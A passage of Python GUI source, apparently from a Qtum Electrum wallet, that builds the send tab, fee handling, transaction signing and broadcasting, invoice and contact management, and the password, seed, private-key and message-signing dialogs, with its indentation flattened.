+ _('Note that if you have frozen some of your addresses, the available funds will be lower than your total balance.') + '\n\n' \
+ _('Keyboard shortcut: type "!" to send all your coins.')
amount_label = HelpLabel(_('Amount'), msg)
grid.addWidget(amount_label, 4, 0)
grid.addWidget(self.amount_e, 4, 1)
self.fiat_send_e = AmountEdit(self.fx.get_currency if self.fx else '')
if not self.fx or not self.fx.is_enabled():
self.fiat_send_e.setVisible(False)
grid.addWidget(self.fiat_send_e, 4, 2)
self.amount_e.frozen.connect(
lambda: self.fiat_send_e.setFrozen(self.amount_e.isReadOnly()))
self.max_button = EnterButton(_("Max"), self.spend_max)
self.max_button.setFixedWidth(140)
grid.addWidget(self.max_button, 4, 3)
hbox = QHBoxLayout()
hbox.addStretch(1)
grid.addLayout(hbox, 4, 4)
msg = _(
'Qtum transactions are in general not free. A transaction fee is paid by the sender of the funds.') + '\n\n' \
+ _('The amount of fee can be decided freely by the sender. However, transactions with low fees take more time to be processed.') + '\n\n' \
+ _('A suggested fee is automatically added to this field. You may override it. The suggested fee increases with the size of the transaction.')
self.fee_e_label = HelpLabel(_('Fee'), msg)
def fee_cb(dyn, pos, fee_rate):
if dyn:
self.config.set_key('fee_level', pos, False)
else:
self.config.set_key('fee_per_kb', fee_rate, False)
self.spend_max() if self.is_max else self.update_fee()
self.fee_slider = FeeSlider(self, self.config, fee_cb)
self.fee_slider.setFixedWidth(140)
self.fee_e = BTCAmountEdit(self.get_decimal_point)
if not self.config.get('show_fee', False):
self.fee_e.setVisible(False)
self.fee_e.textEdited.connect(self.update_fee)
# This is so that when the user blanks the fee and moves on,
# we go back to auto-calculate mode and put a fee back.
self.fee_e.editingFinished.connect(self.update_fee)
self.connect_fields(self, self.amount_e, self.fiat_send_e, self.fee_e)
self.rbf_checkbox = QCheckBox(_('Replaceable'))
msg = [_('If you check this box, your transaction will be marked as non-final,'),
_('and you will have the possiblity, while it is unconfirmed, to replace it with a transaction that pays a higher fee.'),
_('Note that some merchants do not accept non-final transactions until they are confirmed.')]
self.rbf_checkbox.setToolTip('<p>' + ' '.join(msg) + '</p>')
self.rbf_checkbox.setVisible(bool(self.config.get('use_rbf', True)))
grid.addWidget(self.fee_e_label, 5, 0)
grid.addWidget(self.fee_slider, 5, 1)
grid.addWidget(self.fee_e, 5, 2)
grid.addWidget(self.rbf_checkbox, 5, 3)
self.preview_button = EnterButton(_("Preview"), self.do_preview)
self.preview_button.setToolTip(_('Display the details of your transactions before signing it.'))
self.send_button = EnterButton(_("Send"), self.do_send)
self.clear_button = EnterButton(_("Clear"), self.do_clear)
buttons = QHBoxLayout()
buttons.addStretch(1)
buttons.addWidget(self.clear_button)
buttons.addWidget(self.preview_button)
buttons.addWidget(self.send_button)
grid.addLayout(buttons, 6, 1, 1, 3)
self.amount_e.shortcut.connect(self.spend_max)
self.payto_e.textChanged.connect(self.update_fee)
self.amount_e.textEdited.connect(self.update_fee)
def reset_max(t):
self.is_max = False
self.max_button.setEnabled(not bool(t))
self.amount_e.textEdited.connect(reset_max)
self.fiat_send_e.textEdited.connect(reset_max)
def entry_changed():
text = ""
if self.not_enough_funds:
amt_color, fee_color = RED_FG, RED_FG
text = _( "Not enough funds" )
c, u, x = self.wallet.get_frozen_balance()
if c+u+x:
text += ' (' + self.format_amount(c+u+x).strip() + ' ' + self.base_unit() + ' ' +_("are frozen") + ')'
elif self.fee_e.isModified():
amt_color, fee_color = BLACK_FG, BLACK_FG
elif self.amount_e.isModified():
amt_color, fee_color = BLACK_FG, BLUE_FG
else:
amt_color, fee_color = BLUE_FG, BLUE_FG
self.statusBar().showMessage(text)
self.amount_e.setStyleSheet(amt_color)
self.fee_e.setStyleSheet(fee_color)
self.amount_e.textChanged.connect(entry_changed)
self.fee_e.textChanged.connect(entry_changed)
self.invoices_label = QLabel(_('Invoices'))
from .invoice_list import InvoiceList
self.invoice_list = InvoiceList(self)
vbox0 = QVBoxLayout()
vbox0.addLayout(grid)
hbox = QHBoxLayout()
hbox.addLayout(vbox0)
w = QWidget()
vbox = QVBoxLayout(w)
vbox.addLayout(hbox)
vbox.addStretch(1)
vbox.addWidget(self.invoices_label)
vbox.addWidget(self.invoice_list)
vbox.setStretchFactor(self.invoice_list, 1000)
w.searchable_list = self.invoice_list
run_hook('create_send_tab', grid)
return w
def spend_max(self):
self.is_max = True
self.do_update_fee()
def update_fee(self):
self.require_fee_update = True
def get_payto_or_dummy(self):
r = self.payto_e.get_recipient()
if r:
return r
return (TYPE_ADDRESS, self.wallet.dummy_address())
def do_update_fee(self):
'''Recalculate the fee. If the fee was manually input, retain it, but
still build the TX to see if there are enough funds.
'''
if not self.config.get('offline') and self.config.is_dynfee() and not self.config.has_fee_estimates():
self.statusBar().showMessage(_('Waiting for fee estimates...'))
return False
freeze_fee = (self.fee_e.isModified()
and (self.fee_e.text() or self.fee_e.hasFocus()))
amount = '!' if self.is_max else self.amount_e.get_amount()
if amount is None:
if not freeze_fee:
self.fee_e.setAmount(None)
self.not_enough_funds = False
self.statusBar().showMessage('')
else:
fee = self.fee_e.get_amount() if freeze_fee else None
outputs = self.payto_e.get_outputs(self.is_max)
if not outputs:
_type, addr = self.get_payto_or_dummy()
outputs = [TxOutput(_type, addr, amount)]
try:
is_sweep = bool(self.tx_external_keypairs)
tx = self.wallet.make_unsigned_transaction(self.get_coins(), outputs, self.config, fee,
is_sweep=is_sweep)
self.not_enough_funds = False
except NotEnoughFunds:
self.not_enough_funds = True
if not freeze_fee:
self.fee_e.setAmount(None)
return
except BaseException:
return
if not freeze_fee:
fee = None if self.not_enough_funds else tx.get_fee()
self.fee_e.setAmount(fee)
if self.is_max:
amount = tx.output_value()
self.amount_e.setAmount(amount)
if fee is None:
return
def from_list_delete(self, item):
i = self.from_list.indexOfTopLevelItem(item)
self.pay_from.pop(i)
self.redraw_from_list()
self.update_fee()
def from_list_menu(self, position):
item = self.from_list.itemAt(position)
menu = QMenu()
menu.addAction(_("Remove"), lambda: self.from_list_delete(item))
menu.exec_(self.from_list.viewport().mapToGlobal(position))
def set_pay_from(self, coins):
self.pay_from = list(coins)
self.redraw_from_list()
def redraw_from_list(self):
self.from_list.clear()
self.from_label.setHidden(len(self.pay_from) == 0)
self.from_list.setHidden(len(self.pay_from) == 0)
def format(x):
h = x.get('prevout_hash')
return h[0:10] + '...' + h[-10:] + ":%d"%x.get('prevout_n') + u'\t' + "%s"%x.get('address')
for item in self.pay_from:
self.from_list.addTopLevelItem(QTreeWidgetItem( [format(item), self.format_amount(item['value']) ]))
def get_contact_payto(self, key):
_type, label = self.contacts.get(key)
return label + ' <' + key + '>' if _type == 'address' else key
def update_completions(self):
l = [self.get_contact_payto(key) for key in self.contacts.keys()]
self.completions.setStringList(l)
def protected(func):
'''Password request wrapper. The password is passed to the function
as the 'password' named argument. "None" indicates either an
unencrypted wallet, or the user cancelled the password request.
An empty input is passed as the empty string.'''
def request_password(self, *args, **kwargs):
parent = self.top_level_window()
password = None
while self.wallet.has_keystore_encryption():
password = self.password_dialog(parent=parent)
if password is None:
# User cancelled password input
return
try:
self.wallet.check_password(password)
break
except Exception as e:
self.show_error(str(e), parent=parent)
continue
kwargs['password'] = password
return func(self, *args, **kwargs)
return request_password
def read_send_tab(self):
if self.payment_request and self.payment_request.has_expired():
self.show_error(_('Payment request has expired'))
return
label = self.message_e.text()
if self.payment_request:
outputs = self.payment_request.get_outputs()
else:
errors = self.payto_e.get_errors()
if errors:
self.show_warning(_("Invalid Lines found:") + "\n\n" + '\n'.join([ _("Line #") + str(x[0]+1) + ": " + x[1] for x in errors]))
return
outputs = self.payto_e.get_outputs(self.is_max)
if self.payto_e.is_alias and self.payto_e.validated is False:
alias = self.payto_e.toPlainText()
msg = _('WARNING: the alias "%s" could not be validated via an additional security check, DNSSEC, and thus may not be correct.'%alias) + '\n'
msg += _('Do you wish to continue?')
if not self.question(msg):
return
if not outputs:
self.show_error(_('No outputs'))
return
for o in outputs:
if o.address is None:
self.show_error(_('Qtum Address is None'))
return
if o.type == TYPE_ADDRESS and not bitcoin.is_address(o.address):
self.show_error(_('Invalid Qtum Address'))
return
if o.value is None:
self.show_error(_('Invalid Amount'))
return
freeze_fee = self.fee_e.isVisible() and self.fee_e.isModified() and (self.fee_e.text() or self.fee_e.hasFocus())
fee = self.fee_e.get_amount() if freeze_fee else None
coins = self.get_coins()
return outputs, fee, label, coins
def do_preview(self):
self.do_send(preview=True)
def do_send(self, preview=False):
if run_hook('abort_send', self):
return
r = self.read_send_tab()
if not r:
return
outputs, fee, tx_desc, coins = r
try:
is_sweep = bool(self.tx_external_keypairs)
tx = self.wallet.make_unsigned_transaction(coins, outputs, self.config, fee, is_sweep=is_sweep)
except NotEnoughFunds:
self.show_message(_("Insufficient funds"))
return
except BaseException as e:
traceback.print_exc(file=sys.stdout)
self.show_message(str(e))
return
amount = tx.output_value() if self.is_max else sum(map(lambda x:x[2], outputs))
fee = tx.get_fee()
use_rbf = self.rbf_checkbox.isChecked()
tx.set_rbf(use_rbf)
if fee < self.wallet.relayfee() * tx.estimated_size() / 1000:
self.show_error(_("This transaction requires a higher fee, or it will not be propagated by the network"))
return
if preview:
self.show_transaction(tx, tx_desc)
return
# confirmation dialog
msg = [
_("Amount to be sent") + ": " + self.format_amount_and_units(amount),
_("Mining fee") + ": " + self.format_amount_and_units(fee),
]
x_fee = run_hook('get_tx_extra_fee', self.wallet, tx)
if x_fee:
x_fee_address, x_fee_amount = x_fee
msg.append( _("Additional fees") + ": " + self.format_amount_and_units(x_fee_amount) )
confirm_rate = bitcoin.FEERATE_WARNING_HIGH_FEE
if fee > confirm_rate * tx.estimated_size() / 1000:
msg.append(_('Warning') + ': ' + _("The fee for this transaction seems unusually high."))
if self.wallet.has_keystore_encryption():
msg.append("")
msg.append(_("Enter your password to proceed"))
password = self.password_dialog('\n'.join(msg))
if not password:
return
else:
msg.append(_('Proceed?'))
password = None
if not self.question('\n'.join(msg)):
return
def sign_done(success):
if success:
if not tx.is_complete():
self.show_transaction(tx)
self.do_clear()
else:
self.broadcast_transaction(tx, tx_desc)
self.sign_tx_with_password(tx, sign_done, password)
@protected
def sign_tx(self, tx, callback, password):
self.sign_tx_with_password(tx, callback, password)
def sign_tx_with_password(self, tx, callback, password):
'''Sign the transaction in a separate thread. When done, calls
the callback with a success code of True or False.
'''
# call hook to see if plugin needs gui interaction
def on_signed(result):
callback(True)
def on_failed(exc_info):
self.on_error(exc_info)
callback(False)
if self.tx_external_keypairs:
# can sign directly
task = partial(Transaction.sign, tx, self.tx_external_keypairs)
else:
# call hook to see if plugin needs gui interaction
run_hook('sign_tx', self, tx)
task = partial(self.wallet.sign_transaction, tx, password)
WaitingDialog(self, _('Signing transaction...'), task,
on_signed, on_failed)
def broadcast_transaction(self, tx, tx_desc):
def broadcast_thread():
# non-GUI thread
pr = self.payment_request
if pr and pr.has_expired():
self.payment_request = None
return False, _("Payment request has expired")
status, msg = self.network.broadcast_transaction(tx)
if pr and status is True:
self.invoices.set_paid(pr, tx.txid())
self.invoices.save()
self.payment_request = None
refund_address = self.wallet.get_receiving_addresses()[0]
ack_status, ack_msg = pr.send_ack(str(tx), refund_address)
if ack_status:
msg = ack_msg
return status, msg
# Capture current TL window; override might be removed on return
parent = self.top_level_window(lambda win: isinstance(win, MessageBoxMixin))
def broadcast_done(result):
# GUI thread
if result:
status, msg = result
if status:
if tx_desc is not None and tx.is_complete():
self.wallet.set_label(tx.txid(), tx_desc)
parent.show_message(_('Payment sent.') + '\n' + msg)
self.invoice_list.update()
self.do_clear()
else:
parent.show_error(msg)
WaitingDialog(self, _('Broadcasting transaction...'),
broadcast_thread, broadcast_done, self.on_error)
def query_choice(self, msg, choices):
# Needed by QtHandler for hardware wallets
dialog = WindowModalDialog(self.top_level_window())
clayout = ChoicesLayout(msg, choices)
vbox = QVBoxLayout(dialog)
vbox.addLayout(clayout.layout())
vbox.addLayout(Buttons(OkButton(dialog)))
if not dialog.exec_():
return None
return clayout.selected_index()
def lock_amount(self, b):
self.amount_e.setFrozen(b)
self.max_button.setEnabled(not b)
def prepare_for_payment_request(self):
self.show_send_tab()
self.payto_e.is_pr = True
for e in [self.payto_e, self.amount_e, self.message_e]:
e.setFrozen(True)
self.payto_e.setText(_("please wait..."))
return True
def delete_invoice(self, key):
self.invoices.remove(key)
self.invoice_list.update()
def payment_request_ok(self):
pr = self.payment_request
key = self.invoices.add(pr)
status = self.invoices.get_status(key)
self.invoice_list.update()
if status == PR_PAID:
self.show_message("invoice already paid")
self.do_clear()
self.payment_request = None
return
self.payto_e.is_pr = True
if not pr.has_expired():
self.payto_e.setGreen()
else:
self.payto_e.setExpired()
self.payto_e.setText(pr.get_requestor())
self.amount_e.setText(format_satoshis_plain(pr.get_amount(), self.decimal_point))
self.message_e.setText(pr.get_memo())
# signal to set fee
self.amount_e.textEdited.emit("")
def payment_request_error(self):
self.show_message(self.payment_request.error)
self.payment_request = None
self.do_clear()
def on_pr(self, request):
self.payment_request = request
if self.payment_request.verify(self.contacts):
self.payment_request_ok_signal.emit()
else:
self.payment_request_error_signal.emit()
def pay_to_URI(self, URI):
if not URI:
return
try:
out = util.parse_URI(URI, self.on_pr)
except BaseException as e:
self.show_error(_('Invalid qtum URI:') + '\n' + str(e))
return
self.show_send_tab()
r = out.get('r')
sig = out.get('sig')
name = out.get('name')
if r or (name and sig):
self.prepare_for_payment_request()
return
address = out.get('address')
amount = out.get('amount')
label = out.get('label')
message = out.get('message')
# use label as description (not BIP21 compliant)
if label and not message:
message = label
if address:
self.payto_e.setText(address)
if message:
self.message_e.setText(message)
if amount:
self.amount_e.setAmount(amount)
self.amount_e.textEdited.emit("")
def do_clear(self):
self.is_max = False
self.not_enough_funds = False
self.payment_request = None
self.payto_e.is_pr = False
for e in [self.payto_e, self.message_e, self.amount_e, self.fiat_send_e, self.fee_e]:
e.setText('')
e.setFrozen(False)
self.fee_slider.activate()
self.set_pay_from([])
self.rbf_checkbox.setChecked(False)
self.tx_external_keypairs = {}
self.update_status()
run_hook('do_clear', self)
def set_frozen_state(self, addrs, freeze):
self.wallet.set_frozen_state(addrs, freeze)
self.address_list.update()
self.utxo_list.update()
self.update_fee()
def create_list_tab(self, l, toolbar=None):
w = QWidget()
w.searchable_list = l
vbox = QVBoxLayout()
w.setLayout(vbox)
vbox.setContentsMargins(0, 0, 0, 0)
vbox.setSpacing(0)
if toolbar:
toolbar.setContentsMargins(1, 0, 1, 6)
vbox.addLayout(toolbar)
vbox.addWidget(l)
return w
def create_addresses_tab(self):
from .address_list import AddressList
self.address_list = l = AddressList(self)
return self.create_list_tab(l, l.create_toolbar(visible=True))
def create_utxo_tab(self):
from .utxo_list import UTXOList
self.utxo_list = l = UTXOList(self)
return self.create_list_tab(l)
def create_smart_contract_tab(self):
from .smart_contract_list import SmartContractList
self.smart_contract_list = l = SmartContractList(self)
return self.create_list_tab(l)
def create_contacts_tab(self):
from .contact_list import ContactList
self.contact_list = l = ContactList(self)
return self.create_list_tab(l)
def remove_address(self, addr):
if self.question(_("Do you want to remove")+" %s "%addr +_("from your wallet?")):
self.wallet.delete_address(addr)
self.need_update.set()
self.clear_receive_tab()
def get_coins(self):
if self.pay_from:
return self.pay_from
else:
return self.wallet.get_spendable_coins(None, self.config)
def spend_coins(self, coins):
self.set_pay_from(coins)
self.show_send_tab()
self.update_fee()
def paytomany(self):
self.show_send_tab()
self.payto_e.paytomany()
msg = '\n'.join([
_('Enter a list of outputs in the \'Pay to\' field.'),
_('One output per line.'),
_('Format: address, amount'),
_('You may load a CSV file using the file icon.')
])
self.show_message(msg, title=_('Pay to many'))
def payto_contacts(self, labels):
paytos = [self.get_contact_payto(label) for label in labels]
self.show_send_tab()
if len(paytos) == 1:
self.payto_e.setText(paytos[0])
self.amount_e.setFocus()
else:
text = "\n".join([payto + ", 0" for payto in paytos])
self.payto_e.setText(text)
self.payto_e.setFocus()
def set_contact(self, label, address):
if not is_address(address):
self.show_error(_('Invalid Address'))
self.contact_list.update() # Displays original unchanged value
return False
self.contacts[address] = ('address', label)
self.contact_list.update()
self.history_list.update()
self.update_completions()
return True
def delete_contacts(self, labels):
if not self.question(_("Remove %s from your list of contacts?")
% " + ".join(labels)):
return
for label in labels:
self.contacts.pop(label)
self.history_list.update()
self.contact_list.update()
self.update_completions()
def show_invoice(self, key):
pr = self.invoices.get(key)
if pr is None:
self.show_error('Cannot find payment request in wallet.')
return
pr.verify(self.contacts)
self.show_pr_details(pr)
def show_pr_details(self, pr):
key = pr.get_id()
d = WindowModalDialog(self, _("Invoice"))
vbox = QVBoxLayout(d)
grid = QGridLayout()
grid.addWidget(QLabel(_("Requestor") + ':'), 0, 0)
grid.addWidget(QLabel(pr.get_requestor()), 0, 1)
grid.addWidget(QLabel(_("Amount") + ':'), 1, 0)
outputs_str = '\n'.join(map(lambda x: self.format_amount(x[2])+ self.base_unit() + ' @ ' + x[1], pr.get_outputs()))
grid.addWidget(QLabel(outputs_str), 1, 1)
expires = pr.get_expiration_date()
grid.addWidget(QLabel(_("Memo") + ':'), 2, 0)
grid.addWidget(QLabel(pr.get_memo()), 2, 1)
grid.addWidget(QLabel(_("Signature") + ':'), 3, 0)
grid.addWidget(QLabel(pr.get_verify_status()), 3, 1)
if expires:
grid.addWidget(QLabel(_("Expires") + ':'), 4, 0)
grid.addWidget(QLabel(format_time(expires)), 4, 1)
vbox.addLayout(grid)
def do_export():
fn = self.getSaveFileName(_("Save invoice to file"), "*.bip70")
if not fn:
return
with open(fn, 'wb') as f:
data = f.write(pr.raw)
self.show_message(_('Invoice saved as' + ' ' + fn))
exportButton = EnterButton(_('Save'), do_export)
def do_delete():
if self.question(_('Delete invoice?')):
self.invoices.remove(key)
self.history_list.update()
self.invoice_list.update()
d.close()
deleteButton = EnterButton(_('Delete'), do_delete)
vbox.addLayout(Buttons(exportButton, deleteButton, CloseButton(d)))
d.exec_()
def do_pay_invoice(self, key):
pr = self.invoices.get(key)
self.payment_request = pr
self.prepare_for_payment_request()
pr.error = None # this forces verify() to re-run
if pr.verify(self.contacts):
self.payment_request_ok()
else:
self.payment_request_error()
def create_console_tab(self):
from .console import Console
self.console = console = Console()
return console
def update_console(self):
console = self.console
console.history = self.config.get("console-history",[])
console.history_index = len(console.history)
console.updateNamespace({'wallet': self.wallet,
'network': self.network,
'plugins': self.gui_object.plugins,
'window': self})
console.updateNamespace({'util': util, 'bitcoin': bitcoin})
c = commands.Commands(self.config, self.wallet, self.network, lambda: self.console.set_json(True))
methods = {}
def mkfunc(f, method):
return lambda *args: f(method, args, self.password_dialog)
for m in dir(c):
if m[0] == '_' or m in ['network', 'wallet']: continue
methods[m] = mkfunc(c._run, m)
console.updateNamespace(methods)
def create_status_bar(self):
sb = QStatusBar()
sb.setFixedHeight(35)
qtVersion = qVersion()
self.balance_label = QLabel("")
self.balance_label.setTextInteractionFlags(Qt.TextSelectableByMouse)
self.balance_label.setStyleSheet("""QLabel { padding: 0 }""")
sb.addWidget(self.balance_label)
self.search_box = QLineEdit()
self.search_box.textChanged.connect(self.do_search)
self.search_box.hide()
sb.addPermanentWidget(self.search_box)
self.lock_icon = QIcon()
self.password_button = StatusBarButton(self.lock_icon, _("Password"), self.change_password_dialog )
sb.addPermanentWidget(self.password_button)
sb.addPermanentWidget(StatusBarButton(QIcon(":icons/preferences.png"), _("Preferences"), self.settings_dialog ) )
self.seed_button = StatusBarButton(QIcon(":icons/seed.png"), _("Seed"), self.show_seed_dialog )
sb.addPermanentWidget(self.seed_button)
self.status_button = StatusBarButton(QIcon(":icons/status_disconnected.png"), _("Network"), lambda: self.gui_object.show_network_dialog(self))
sb.addPermanentWidget(self.status_button)
self.email_setting_button = StatusBarButton(QIcon(":icons/Emailsetting.png"), _("emailsetting"), self.do_process_setting_email)
sb.addPermanentWidget(self.email_setting_button)
self.email_setting_button = StatusBarButton(QIcon(":icons/import.png"), _("import"),self.do_process_import)
sb.addPermanentWidget(self.email_setting_button)
run_hook('create_status_bar', sb)
self.setStatusBar(sb)
def update_lock_icon(self):
icon = QIcon(":icons/lock.png") if self.wallet.has_password() else QIcon(":icons/unlock.png")
self.password_button.setIcon(icon)
def update_buttons_on_seed(self):
self.seed_button.setVisible(self.wallet.has_seed())
self.password_button.setVisible(self.wallet.may_have_password())
self.send_button.setVisible(not self.wallet.is_watching_only())
def change_password_dialog(self):
from qtum_electrum.storage import STO_EV_XPUB_PW
if self.wallet.get_available_storage_encryption_version() == STO_EV_XPUB_PW:
from .password_dialog import ChangePasswordDialogForHW
d = ChangePasswordDialogForHW(self, self.wallet)
ok, encrypt_file = d.run()
if not ok:
return
try:
hw_dev_pw = self.wallet.keystore.get_password_for_storage_encryption()
except UserCancelled:
return
except BaseException as e:
traceback.print_exc(file=sys.stderr)
self.show_error(str(e))
return
old_password = hw_dev_pw if self.wallet.has_password() else None
new_password = hw_dev_pw if encrypt_file else None
else:
from .password_dialog import ChangePasswordDialogForSW
d = ChangePasswordDialogForSW(self, self.wallet)
ok, old_password, new_password, encrypt_file = d.run()
if not ok:
return
try:
self.wallet.update_password(old_password, new_password, encrypt_file)
except InvalidPassword as e:
self.show_error(str(e))
return
except (BaseException,) as e:
traceback.print_exc(file=sys.stdout)
self.show_error('{}:{}'.format(_('Failed to update password'), e))
return
msg = _('Password was updated successfully') if self.wallet.has_password() else _(
'Password is disabled, this wallet is not protected')
self.show_message(msg, title=_("Success"))
self.update_lock_icon()
def toggle_search(self):
tab = self.tabs.currentWidget()
# if hasattr(tab, 'searchable_list'):
# tab.searchable_list.toggle_toolbar()
# return
self.search_box.setHidden(not self.search_box.isHidden())
if not self.search_box.isHidden():
self.search_box.setFocus(1)
else:
self.do_search('')
def do_search(self, t):
tab = self.tabs.currentWidget()
if hasattr(tab, 'searchable_list'):
tab.searchable_list.filter(t)
def new_contact_dialog(self):
d = WindowModalDialog(self, _("New Contact"))
vbox = QVBoxLayout(d)
vbox.addWidget(QLabel(_('New Contact') + ':'))
grid = QGridLayout()
line1 = QLineEdit()
line1.setFixedWidth(280)
line2 = QLineEdit()
line2.setFixedWidth(280)
grid.addWidget(QLabel(_("Address")), 1, 0)
grid.addWidget(line1, 1, 1)
grid.addWidget(QLabel(_("Name")), 2, 0)
grid.addWidget(line2, 2, 1)
vbox.addLayout(grid)
vbox.addLayout(Buttons(CancelButton(d), OkButton(d)))
if d.exec_():
self.set_contact(line2.text(), line1.text())
def show_master_public_keys(self):
dialog = WindowModalDialog(self, _("Wallet Information"))
dialog.setMinimumSize(500, 100)
mpk_list = self.wallet.get_master_public_keys()
vbox = QVBoxLayout()
wallet_type = self.wallet.storage.get('wallet_type', '')
grid = QGridLayout()
grid.addWidget(QLabel(_("Wallet type") + ':'), 0, 0)
grid.addWidget(QLabel(wallet_type), 0, 1)
grid.addWidget(QLabel(_("Script type") + ':'), 1, 0)
grid.addWidget(QLabel(self.wallet.txin_type), 1, 1)
vbox.addLayout(grid)
if self.wallet.is_deterministic():
mpk_text = ShowQRTextEdit()
mpk_text.setMaximumHeight(150)
mpk_text.addCopyButton(self.app)
def show_mpk(index):
mpk_text.setText(mpk_list[index])
# only show the combobox in case multiple accounts are available
if len(mpk_list) > 1:
def label(key):
if isinstance(self.wallet, Multisig_Wallet):
return _("cosigner") + ' ' + str(key + 1)
return ''
labels = [label(i) for i in range(len(mpk_list))]
on_click = lambda clayout: show_mpk(clayout.selected_index())
labels_clayout = ChoicesLayout(_("Master Public Keys"), labels, on_click)
vbox.addLayout(labels_clayout.layout())
else:
vbox.addWidget(QLabel(_("Master Public Key")))
show_mpk(0)
vbox.addWidget(mpk_text)
vbox.addStretch(1)
vbox.addLayout(Buttons(CloseButton(dialog)))
dialog.setLayout(vbox)
dialog.exec_()
@protected
def show_seed_dialog(self, password):
if not self.wallet.has_seed():
self.show_message(_('This wallet has no seed'))
return
keystore = self.wallet.get_keystore()
try:
seed = keystore.get_seed(password)
passphrase = keystore.get_passphrase(password)
except BaseException as e:
self.show_error(str(e))
return
from .seed_dialog import SeedDialog
d = SeedDialog(self, seed, passphrase)
d.exec_()
def show_qrcode(self, data, title = _("QR code"), parent=None):
if not data:
return
d = QRDialog(data, parent or self, title)
d.exec_()
@protected
def show_private_key(self, address, password):
if not address:
return
try:
pk, redeem_script = self.wallet.export_private_key(address, password)
except Exception as e:
traceback.print_exc(file=sys.stdout)
self.show_message(str(e))
return
xtype = bitcoin.deserialize_privkey(pk)[0]
d = WindowModalDialog(self, _("Private key"))
d.setMinimumSize(600, 150)
vbox = QVBoxLayout()
vbox.addWidget(QLabel(_("Address") + ': ' + address))
vbox.addWidget(QLabel(_("Script type") + ': ' + xtype))
vbox.addWidget(QLabel(_("Private key") + ':'))
keys_e = ShowQRTextEdit(text=pk)
keys_e.addCopyButton(self.app)
vbox.addWidget(keys_e)
if redeem_script:
vbox.addWidget(QLabel(_("Redeem Script") + ':'))
rds_e = ShowQRTextEdit(text=redeem_script)
rds_e.addCopyButton(self.app)
vbox.addWidget(rds_e)
vbox.addLayout(Buttons(CloseButton(d)))
d.setLayout(vbox)
d.exec_()
msg_sign = ("Signing with an address actually means signing with the corresponding "
"private key, and verifying with the corresponding public key. The "
"address you have entered does not have a unique public key, so these "
"operations cannot be performed.")
@protected
def do_sign(self, address, message, signature, password):
address = address.text().strip()
message = message.toPlainText().strip()
if not bitcoin.is_address(address):
self.show_message('Invalid Qtum address.')
return
txin_type = self.wallet.get_txin_type(address)
if txin_type not in ['p2pkh', 'p2wpkh', 'p2wpkh-p2sh']:
self.show_message('Cannot sign messages with this type of address.' + '\n\n' + self.msg_sign)
return
if self.wallet.is_watching_only():
self.show_message(_('This is a watching-only wallet.'))
return
if not self.wallet.is_mine(address):
self.show_message('Address not in wallet.')
return
task = partial(self.wallet.sign_message, address, message, password)
def show_signed_message(sig):
signature.setText(base64.b64encode(sig).decode('ascii'))
self.wallet.thread.add(task, on_success=show_signed_message)
def do_verify(self, address, message, signature):
address = address.text().strip()
message = message.toPlainText().strip().encode('utf-8')
if not bitcoin.is_address(address):
self.show_message('Invalid Qtum address.')
return
try:
# This can throw on invalid base64
sig = base64.b64decode(str(signature.toPlainText()))
verified = ecc.verify_message(address, sig, message)
except Exception as e:
verified = False
if verified:
self.show_message(_("Signature verified"))
else:
self.show_error(_("Wrong signature"))
def sign_verify_message(self, address=''):
d = WindowModalDialog(self, _('Sign/verify Message'))
d.setMinimumSize(610, 290)
layout = QGridLayout(d)
message_e = QTextEdit()
layout.addWidget(QLabel(_('Message')), 1, 0)
layout.addWidget(message_e, 1, 1)
layout.setRowStretch(2,3)
address_e = QLineEdit()
address_e.setText(address)
layout.addWidget(QLabel(_('Address')), 2, 0)
layout.addWidget(address_e, 2, 1)
signature_e = QTextEdit()
layout.addWidget(QLabel(_('Signature')), 3, 0)
layout.addWidget(signature_e, 3, 1)
layout.setRowStretch(3,1)
hbox = QHBoxLayout()
b = QPushButton(_("Sign"))
b.clicked.connect(lambda: self.do_sign(address_e, message_e, signature_e))
hbox.addWidget(b)
b = QPushButton(_("Verify"))
b.clicked.connect(lambda: self.do_verify(address_e, message_e, signature_e))
hbox.addWidget(b)
b = QPushButton(_("Close"))
b.clicked.connect(d.accept)
hbox.addWidget(b)
layout.addLayout(hbox, 4, 1)
d.exec_()
@protected
def do_decrypt(self, message_e, pubkey_e, encrypted_e, password):
if self.wallet.is_watching_only():
self.show_message(_('This is a watching-only wallet.'))
return
cyphertext = encrypted_e.toPlainText()
task = partial(self.wallet.decrypt_message, pubkey_e.text(), cyphertext, password)
self.wallet.thread.add(task, on_success=lambda text: message_e.setText(text.decode('utf-8')))
def do_encrypt(self, message_e, pubkey_e, encrypted_e):
message = message_e.toPlainText()
message = message.encode('utf-8')
try:
public_key = ecc.ECPubkey(bfh(pubkey_e.text()))
except BaseException as e:
traceback.print_exc(file=sys.stdout)
self.show_warning(_('Invalid Public key'))
return
encrypted = public_key.encrypt_message(message)
encrypted_e.setText(encrypted.decode('ascii'))
def encrypt_message(self, address=''):
d = WindowModalDialog(self, _('Encrypt/decrypt Message'))
d.setMinimumSize(610, 490)
layout = QGridLayout(d)
message_e = QTextEdit()
layout.addWidget(QLabel(_('Message')), 1, 0)
layout.addWidget(message_e, 1, 1)
layout.setRowStretch(2,3)
pubkey_e = QLineEdit()
if address:
pubkey = self.wallet.get_public_key(address)
pubkey_e.setText(pubkey)
layout.addWidget(QLabel(_('Public key')), 2, 0)
layout.addWidget(pubkey_e, 2, 1)
encrypted_e = QTextEdit()
layout.addWidget(QLabel(_('Encrypted')), 3, 0)
layout.addWidget(encrypted_e, 3, 1)
layout.setRowStretch(3,1)
hbox = QHBoxLayout()
b = QPushButton(_("Encrypt"))
b.clicked.connect(lambda: self.do_encrypt(message_e, pubkey_e, encrypted_e))
hbox.addWidget(b)
b = QPushButton(_("Decrypt"))
b.clicked.connect(lambda: self.do_decrypt(message_e, pubkey_e, encrypted_e))
hbox.addWidget(b)
b = QPushButton(_("Close"))
b.clicked.connect(d.accept)
hbox.addWidget(b)
layout.addLayout(hbox, 4, 1)
d.exec_()
def password_dialog(self, msg=None, parent=None):
from .password_dialog import PasswordDialog
parent = parent or self
d = PasswordDialog(parent, msg)
return d.run()
def tx_from_text(self, txt):
from qtum_electrum.transaction import tx_from_str
try:
tx = tx_from_str(txt)
return Transaction(tx)
except BaseException as e:
self.show_critical(_("Electrum was unable to parse your transaction") + ":\n" + str(e))
return
def read_tx_from_qrcode(self):
from qtum_electrum import qrscanner
try:
data = qrscanner.scan_barcode(self.config.get_video_device())
except BaseException as e:
self.show_error(str(e))
return
if not data:
return
# if the user scanned a bitcoin URI
if str(data).startswith("qtum:"):
self.pay_to_URI(data)
return
# else if the user scanned an offline signed tx
# transactions are binary, but qrcode seems to return utf8...
